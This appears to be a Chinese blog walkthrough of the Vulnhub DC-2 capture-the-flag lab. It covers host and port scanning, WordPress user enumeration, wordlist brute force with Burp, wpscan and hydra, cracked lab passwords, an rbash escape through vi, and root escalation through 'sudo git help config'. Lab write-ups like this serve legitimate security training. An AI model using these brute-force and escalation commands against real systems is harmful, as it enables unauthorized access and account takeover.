渗透实战-vulnhub-DC-2
信息收集
1、目标IP:192.168.48.141
┌──(root㉿kali)-[~/桌面]
└─# nmap -sP 192.168.48.1/24
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-03 23:41 CST
Nmap scan report for 192.168.48.1
Host is up (0.00042s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.48.2
Host is up (0.000087s latency).
MAC Address: 00:50:56:E1:FD:22 (VMware)
Nmap scan report for dc-2 (192.168.48.141)
Host is up (0.00019s latency).
MAC Address: 00:0C:29:77:50:5D (VMware)
Nmap scan report for 192.168.48.254
Host is up (0.00026s latency).
MAC Address: 00:50:56:EA:0C:C5 (VMware)
Nmap scan report for 192.168.48.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.97 seconds
发现主机的第二种方法：arp-scan -l
2、端口扫描：开放端口80（http）和7744(ssh)，还有有重定向的问题。
3、目录扫描：
Flag1
这里卡了一下，一直访问不了目标主机192.168.48.141，查了一下是被重定向到了http://dc-2/，解决方法就是在host文件里面改一下。
借鉴文章：https://blog.csdn.net/a310034188/article/details/121624538
kali的host文件路径：/etc/hosts
然后成功进入目标网站
找到第一个flag1，提醒我们下一个flag需要用到cewl（不会（理直气壮），学tm）
cewl学习连接：https://www.freebuf.com/articles/network/190128.html
Flag2
根据前面信息收集时扫描的目录发现登录网页
扔到burp里面扫了一下，除了一个密码明文的漏洞就没有了,淦!
绕过登录应该是没戏了，只能返回上一个flag提醒的cewl试试。
使用cewl生成字典
cewl http://dc-2/ -w /root/桌面/dc-2pw.txt
探测http://dc-2/这个网址根据内容生成字典保存在 /root/桌面/dc-2pw.txt 这个路径中
OK现在有密码了，问题又来了用户名我不到啊。。。
借鉴回来了，OK，我们再来试试新工具wpscan
来,上链接，学习自：https://www.freebuf.com/sectool/174663.html
wpscan --url http://dc-2/ -e u
枚举用户名
得到三个用户名并保存为dc-2user.txt
admin,jerry,tom
后面就是一个一个用户名爆破了。
有两个方法爆破
第一个方法burp爆破
抓取数据包后发到intruder模块，首先点击Clear，清除所有变量，然后选中要爆破的log和pwd参数，点击Add添加变量，Attack type选择Cluster bomb。
然后分别设置两个变量的字典
爆破出了tom and jerry 的密码
log=tom&pwd=parturient
log=jerry&pwd=adipiscing
yeah！！！！！登录登录
得到flag2
**Flag 2:**
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
下一个flag的提示：寻找另一个切入点。
诶，这个网站一共就开放了两个端口，另一个切入点就是开放的ssh咯！咱试试去。
第二个方法还是使用WPscan
wpscan --ignore-main-redirect --url http://dc-2/ -U /root/桌面/DC-2/dc-2user.txt -P /root/桌面/DC-2/dc-2pw.txt -t 30
结果：
Flag3
ssh登录目标主机
先试试jerry
ssh jerry@192.168.48.141 -p 7744
由于不是默认的22端口所以要指定端口
但是用之前的密码登录结果一直登不上。
再试试tom
ssh tom@192.168.48.141 -p 7744
使用之前爆破出来的密码登录成功了。
这里可以介绍一个ssh登录密码爆破的工具hydra，如果之前爆破出来的密码不都能用的话，用下面的方法。
学习链接：https://blog.csdn.net/huweiliyi/article/details/105523823
hydra -t 32 -l admin -P passwd.txt -s 7744 192.168.78.128 ssh
hydra -t 32 -l tom -P passwd.txt -s 7744 192.168.78.128 ssh
hydra -t 32 -l jerry -P passwd.txt -s 7744 192.168.78.128 ssh
最后可以爆破出密码。
Fine，我们已经连接上目标主机了
找到了flag3，cat打开
试试vi打开，OK解决，得到flag3
Poor old Tom is always running after Jerry.Perhaps he should su for all the stress he causes.
Flag4
绕过rbash
根据flag3，应该是让我们su切换用户到jerry
tom@DC-2:~$ su jerry
-rbash: su: command not found
没有这个命令，淦，没有cat，还没有su到底咋回事，会不会是运行在rbash导致shell受限。
嗨嗨嗨，我来了，啥是rbash捏
受限shell是LinuxShell限制一些bash shell中的功能，并且是从名字上很清楚。 该限制很好地实现了命令以及脚本在受限shell中运行。 它为Linux中的bash shell提供了一个额外的安全层。
怎么验证嘞？我们打开passwd文件
vi /etc/passwd
可以看到
root:x:0:0:root:/root:/bin/bash
tom:x:1001:1001:Tom Cat,,,:/home/tom:/bin/rbash
jerry:x:1002:1002:Jerry Mouse,,,:/home/jerry:/bin/bash
如何绕过嘞？？？
我也不知道，嘿，但是咱有度娘配置环境变量。
学习链接：https://cloud.tencent.com/developer/article/1680551
这里我们采用编辑器绕过rbash
tom@DC-2:~$ vi
tom@DC-2:~$ su jerry
bash: su: command not found
世界毁灭，一拳打爆地球，哈哈哈哈，人哪有不疯的，强撑着罢了。
找了找问题，发现绕过shell后还要配置环境变量
tom@DC-2:~$ vi
:set shell=/bin/bash
:shell
tom@DC-2:~$ export PATH=/usr/sbin:/usr/bin:/sbin:/bin
tom@DC-2:~$ whoami
tom
tom@DC-2:~$ su jerry
Password:
密码就试试之前爆破出来的adipiscing，这下能直接进去了。
进去之后
jerry@DC-2:/home/tom$ ls
ls: cannot open directory .: Permission denied
# 因为还在tom的用户目录里面，这可不行啊，咱现在是jerry
jerry@DC-2:/home/tom$ pwd
/home/tom
jerry@DC-2:/home/tom$ cd /
jerry@DC-2:/$ ls
bin dev home lib media opt root sbin sys usr vmlinuz
boot etc initrd.img lost+found mnt proc run srv tmp var
jerry@DC-2:/$ cd home
jerry@DC-2:/home$ ls
jerry tom
jerry@DC-2:/home$ cd jerry/
jerry@DC-2:~$ ls
flag4.txt
ok，兄弟们，终于找到flag4了
jerry@DC-2:~$ cat flag4.txt
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
the final flag
最后一个flag从提示看来和Git有关，这个是一点都不知道，emmmm去去就来
OK，Git提权是吧
jerry@DC-2:~$ sudo git help config
#在末行命令模式输入!/bin/bash 或 !‘sh’ #完成提权
:!/bin/bash
提权成功，试试在root目录里面找最后一个flag
jerry@DC-2:~$ sudo git help config
root@DC-2:/home/jerry# cd /root
root@DC-2:~# ls
final-flag.txt
root@DC-2:~# cat final-flag.txt
__ __ _ _ _ _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.
总结
cewl根据网站内容生成字典
burp的字典爆破方法
WPscan的使用和使用场景
rbash的绕过
git提权
ssh登录密码爆破的工具hydra
后记
不太想写了。
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
